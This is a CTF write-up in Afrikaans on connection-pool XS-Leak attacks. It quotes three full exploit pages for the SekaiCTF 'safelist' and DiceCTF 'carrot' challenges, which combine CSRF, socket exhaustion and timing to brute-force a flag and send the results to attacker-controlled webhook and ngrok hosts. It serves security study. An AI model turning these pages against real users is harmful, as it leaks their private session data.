# Verbinding Pool Voorbeelde

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## Sekaictf2022 - safelist

In die [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) uitdaging, [**@Strellic\_**](https://twitter.com/Strellic_) gee 'n voorbeeld van hoe om 'n **variasie** van die **Connection Pool** tegniek te gebruik om 'n **XS-Leak** uit te voer.

In hierdie uitdaging is die doel om 'n vlag te exfiltreer wat in die bots web sessie binne 'n pos sal verskyn. Dit is die bates wat die aanvaller het:

- Die **bot** sal **besoek** 'n **URL** gegee deur die aanvaller
- Die aanvaller kan **HTML** in die bladsy **inspuit** (maar geen JS, dompurify word gebruik nie) deur 'n **CSRF** te misbruik wat die **bot laat 'n pos skep** met daardie HTML.
- Die aanvaller kan 'n CSRF misbruik om die **bot** te laat **verwyder** die **eerste** **pos** binne die web.
- Omdat die **poste** **alfabeties** georden is, wanneer die **eerste pos verwyder word**, as die **HTML** inhoud van die aanvaller **gelaai** word, beteken dit dat dit **alfabeties voor die vlag** was.

Daarom, om die vlag te steel, is die oplossing wat @Strellyc\_ voorgestel het, om, **vir elke karakter om te toets** die bot te laat:

- 'n **nuwe pos** te skep wat **begin** met die bekende deel van die **vlag** en verskeie **img** **laai**.
- **Verwyder** die **pos** in posisie **0**.
- Blok 255 sokke.
- Laai die bladsy met die poste
- Voer 5 ewekansige versoeke na 'n webwerf (example.com in hierdie geval) uit en meet die tyd wat dit neem.

> [!WARNING]
> As die **verwyderde** pos die **vlag** was, beteken dit dat al die **beelde** **ingespuit** in die HTML gaan **stryd** voer met die **5 ewekansige versoeke** vir daardie **ongebroke** sok. Wat beteken dat die gemete tyd groter gaan wees as die ander scenario.
>
> As die **verwyderde** pos die **HTML** was, sal die **5 ewekansige versoeke** **vinniger** wees omdat hulle nie vir daardie sok met die ingespuite HTML hoef te stry nie.

### Exploit 1

Dit is die exploit kode, geneem van [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
```html
<!-- Form to inject HTML code in the bots page -->
<form
method="POST"
action="https://safelist.ctf.sekai.team/create"
id="create"
target="_blank">
<input type="text" name="text" />
<input type="submit" />
</form>

<!-- Form to delete the first entry -->
<form
method="POST"
action="https://safelist.ctf.sekai.team/remove"
id="remove"
target="_blank">
<input type="text" name="index" value="0" />
<input type="submit" />
</form>

<script>
// Attacker listening
const WEBHOOK = "https://WEBHOOK.com/"
// Send data to attacker
const log = (id, data) => {
let payload = JSON.stringify({ known, alphabet, data })
console.log(id, payload)
navigator.sendBeacon(WEBHOOK + "?" + id, payload)
}

// Similar to JQuery
const $ = document.querySelector.bind(document)

// Known part of the flag
const known = "SEKAI{"
let alphabet = "_abcdefghijklmnopqrstuvwxyz}"

// Reduce the alphabet using a hash (#) in the URL
if (location.hash) {
alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)))
}

// Funtion to leak chars
const leak = async (c) => {
// Prepare post with known flag and the new char
let payload = `${known + c}`
// Inject as many <img as possible
// you need to respect the CSP and create URLs that are different
for (let i = 0; payload.length < 2048; i++) {
payload += `<img src=js/purify.js?${i.toString(36)}>`
}

// Inject HTML
$("#create input[type=text]").value = payload
$("#create").submit()
await new Promise((r) => setTimeout(r, 1000))

// Remove post with index 0
$("#remove").submit()
await new Promise((r) => setTimeout(r, 500))

let deltas = []

// Try each char 3 times
for (let i = 0; i < 3; i++) {
const SOCKET_LIMIT = 255
// you will need a custom server that works like num.sleepserver.com/sleep/delay
// needed to freeze the blocked sockets, and they have to all be on different origins
// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
const SLEEP_SERVER = (i) => `http://${i}.sleepserver.com/sleep/60`

const block = async (i, controller) => {
try {
return fetch(SLEEP_SERVER(i), {
mode: "no-cors",
signal: controller.signal,
})
} catch (err) {}
}

// block SOCKET_LIMIT sockets
const controller = new AbortController()
for (let i = 0; i < SOCKET_LIMIT; i++) {
block(i, controller)
}

// Make the bot access the page with the posts
window.open(
"https://safelist.ctf.sekai.team/?" +
Math.random().toString(36).slice(2),
"pwn"
)
await new Promise((r) => setTimeout(r, 500))

// start meassuring time to perform 5 requests
let start = performance.now()
await Promise.all([
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
])
let delta = performance.now() - start
document.title = delta
controller.abort()

log("test_" + c + "_" + i, delta)

// Save time needed
deltas.push(delta)
}
return deltas
}

// Check each char
const pwn = async () => {
// Try to leak each character
for (let i = 0; i < alphabet.length; i++) {
//Check the indicated char
let deltas = await leak(alphabet[i])

// Calculate mean time from requests to example.com
let avg = deltas.reduce((a, v) => a + v, 0) / deltas.length

// If greater than 250, the HTML code was injected (flag in index 0)
if (avg > 250) {
log("tests_pos_" + alphabet[i], deltas)
}
// Flag in the page
else {
log("tests_neg_" + alphabet[i], deltas)
}
}
}

window.onload = async () => {
pwn()
}
</script>
```
### Exploit 2

Dieselfde taktiek maar verskillende kode van [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
```html
<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>
<form
id="f"
action="http://localhost:1234/create"
method="POST"
target="_blank">
<input id="inp" name="text" value="" />
</form>

<form
id="f2"
action="http://localhost:1234/remove"
method="POST"
target="_blank">
<input id="inp2" name="index" value="" />
</form>
<script>
let flag = "SEKAI{"
const TARGET = "https://safelist.ctf.sekai.team"
f.action = TARGET + "/create"
f2.action = TARGET + "/remove"

const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
const send = (data) => fetch("http://server.ngrok.io?d=" + data)
const charset = "abcdefghijklmnopqrstuvwxyz".split("")

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
while (R - L > 3) {
let M = Math.floor((L + R) / 2)
let c = charset[M]
send("try_" + flag + c)
const found = await testChar(flag + c)
if (found) {
L = M
} else {
R = M - 1
}
}

// fallback to linear since I am not familiar with binary search lol
for (let i = R; i >= L; i--) {
let c = charset[i]
send("try_" + flag + c)
const found = await testChar(flag + c)
if (found) {
send("found: " + flag + c)
flag += c
break
}
}
}, 0)

async function testChar(str) {
return new Promise((resolve) => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
inp.value =
str +
'<br><canvas height="3350px"></canvas><br>' +
Array.from({ length: 20 })
.map((_, i) => `<img loading=lazy src=/?${i}>`)
.join("")
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// if the request is not enough, we can send more by opening more window
for (let i = 1; i <= 5; i++) {
window.open(TARGET)
}

let t = 0
const round = 30
setTimeout(async () => {
for (let i = 0; i < round; i++) {
let s = performance.now()
await fetch(TARGET + "/?test", {
mode: "no-cors",
}).catch((err) => 1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t / round
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = t >= 1000
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}
</script>
</body>
</html>
```
## DiceCTF 2022 - carrot

In hierdie geval was die eerste stap van die exploit om 'n CSRF te misbruik om die bladsy waar die vlag bevat is, te wysig sodat dit **veel meer inhoud** het (en daarom neem dit meer tyd om te laai), en dan **die verbindingpoel te misbruik om die tyd te meet wat dit neem om toegang tot die bladsy te verkry** wat moontlik die vlag kan hê.

In die exploit kan jy sien:

- Misbruik CSRF
- Beset al die sokke behalwe 1
- Kalibreer die reaksie
- Begin bruteforcing deur toegang te verkry tot die potensiële bladsy met die vlag
- Die potensiële bladsy sal toeganklik wees en onmiddellik sal 'n aanvaller se beheerde URL ook toeganklik wees om te kyk hoeveel tyd beide versoeke neem.
```html
<h1>DiceCTF 2022 web/carrot</h1>

<p>
Step 1: CSRF the admin user, to set a super long title for the flag note (LAX
+ POST form only possible for 2 minutes after cookies is created)
</p>
<button onclick="csrf()">do csrf</button>
<p>
Step 2: XS-Search with
<a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/"
>connection-pool timing leak</a
>, we have to use window.open (LAX cookie)
</p>

<button onclick="popunder()">open popup</button>
<button onclick="exhaust_sockets()">open 255 connections</button>
<button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
<button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
<br />
<br />
<h2 id="output"></h2>
<br />
<form id="x" action="" method="POST" style="display:none;">
<input type="text" name="title" placeholder="title" />
<br /><br />
<input type="number" name="priority" placeholder="priority" value="9999" />
<br /><br />
<textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
<br /><br />
<input type="submit" value="submit" />
</form>

<script>
// this is send is used as logging
LOG = "Starting"
// 255 in normal chrome, 99 in headless
SOCKETLIMIT = 255
// default
TIMELIMIT = 800
INSTANCE = ""
MYSERVER = `example.com`

const sleep = (ms) => {
return new Promise((resolve) => {
setTimeout(resolve, ms)
})
}

const time_fetch = async () => {
let test_server_url = `https://${MYSERVER}/?${LOG}`
let start = window.performance.now()
try {
await fetch(test_server_url, {
mode: "no-cors",
})
} catch (e) {
console.log(e)
}
let end = window.performance.now()
return end - start
}

const fetch_sleep_long = (i) => {
// 40s sleep
return fetch(`https://${i}.${MYSERVER}/40sleep`, {
mode: "no-cors",
})
}

const fetch_sleep_short = (i) => {
// 0.25s sleep
return fetch(`https://${i}.${MYSERVER}/ssleep`, {
mode: "no-cors",
})
}

const block_socket = async (i) => {
fetch_sleep_long(i)
// needed?
await sleep(0)
}

const exhaust_sockets = async () => {
let i = 0
for (; i < SOCKETLIMIT; i++) {
block_socket(i)
}
console.log(`Used ${i} connections`)
}

const timeit = async (url, popup) => {
return new Promise(async (r) => {
popup.location = url
// needed?
await sleep(50)

let val = await time_fetch()
r(val)
})
}

// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
const alphabet = "abcdefghijklmnopqrstuvwxyz}_".split("")
// const alphabet = 'abcdef}'.split('');

const oracle = async (search) => {
let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
let t = await timeit(url, WINBG)

LOG = `${search}:${t}`
console.log(`${search}:${t}`)

return t > TIMELIMIT
}

const brute = async (flag) => {
for (const char of alphabet) {
if (await oracle(flag + char)) {
return char
}
}
return false
}

const calibrate = async () => {
return new Promise(async (r) => {
// slow
let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
let t1 = await timeit(url1, WINBG)
console.log(`slow:${t1}`)
// fast
let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
let t2 = await timeit(url2, WINBG)
console.log(`fast:${t2}`)
return r((t1 + t2) / 2)
})
}

const exploit = async (flag = "") => {
console.log("Starting")
// dont go to fast plz :)
console.log(`waiting 3s`)
await sleep(3000)
// exaust sockets
await exhaust_sockets()
await sleep(2000)
LOG = `Calibrating`
TIMELIMIT = await calibrate()
LOG = `TIMELIMIT:${TIMELIMIT}`
console.log(`timelimit:${TIMELIMIT}`)
await sleep(2000)
let last
while (true) {
last = await brute(flag)
if (last === false) {
return flag
} else {
flag += last
output.innerText = flag
if (last === "}") {
return flag
}
}
}
}

const popunder = () => {
if (window.opener) {
WINBG = window.opener
} else {
WINBG = window.open(location.href, (target = "_blank"))
location = `about:blank`
}
}

const csrf = async () => {
x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
x.title.value = "A".repeat(1000000)
x.submit()
}

window.onload = () => {
let p = new URL(location).searchParams
if (!p.has("i")) {
console.log(`no INSTANCE`)
return
}
INSTANCE = p.get("i")
// step 1
if (p.has("csrf")) {
csrf()
return
}
// step 2
if (p.has("exploit")) {
// window open is ok in headless :)
popunder()

exploit("dice{")
}
}
</script>
```
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